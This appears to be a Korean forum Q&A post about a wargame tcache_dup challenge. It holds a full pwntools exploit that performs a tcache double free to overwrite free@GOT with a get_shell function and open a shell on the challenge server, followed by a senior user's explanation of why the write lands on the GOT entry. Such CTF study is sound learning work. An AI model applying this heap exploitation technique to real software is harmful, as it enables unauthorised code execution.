tcache
from pwn import *
r = remote("host3.dreamhack.games",24344)
#r = process("./tcache_dup")
e = ELF("./tcache_dup")
libc = ELF("./libc-2.27.so")
#gdb.attach(r)
def create(size,data):
r.sendlineafter("> ",b'1')
r.sendlineafter("Size: ",str(size).encode())
r.sendafter("Data: ",data)
def delete(idx):
r.sendlineafter("> ",b'2')
r.sendlineafter("idx: ",str(idx).encode())
getshell = e.symbols['get_shell']
success("getshell: "+hex(getshell))
free_got = e.got['free']
success("free_got: "+hex(free_got))
#tcache_dup
#tcache[0x40]: A
create(0x30,b'A')
delete(0)
#tcache[0x40]: A -> A
delete(0)
# tcache[0x40]: A -> free_got
create(0x30, p64(free_got))
# tcache[0x40]: free_got
create(0x30, b'B')
#tcache[0x40]:
create(0x30, p64(getshell))
delete(0)
r.interactive()
위와 같이 풀긴 했는데 막상 풀고나니 궁금한 게 생겨 질문드립니다.
create(0x30, p64(free_got)
를 통해서 tcache가 free_got의 주소값을 가리키게 하는 것 까지는 이해가 갔는데 어떻게 free_got를 주소로 하는 청크에 p64(getshell)
을 썼는데 free_got의 값이 바뀌나요? 청크 구조에 따라서 free_got+0x10의 값이 getshell로 바뀌어야 하는 것 아닌가요?
제가 어떤 것을 잘못 이해하고 있는지 모르겠습니다.
#heap
#tcache
작성자 정보
답변
1
z3rodae0
시니어
그렇지 않습니다. fd가 가리키는 주소는 chunk의 header를 제외한 mem 부분을 가리키고 있기때문에 재사용되는 청크도 mem 부분으로 할당됩니다.
tcache: Chunk A -> free@got 라고 한다면, Chunk A가 빠지고, 한번 더 요청이 들어왔을 때 free@got 주소가 chunk의 mem으로써 반환됩니다. 즉 사용자가 data를 write되는 부분은 chunk의 mem입니다. 그리고 chunk의 mem의 주소가 현재 free@got이기때문에 getshell을 write 했다면 free@got: getshell이 덮히는 것입니다.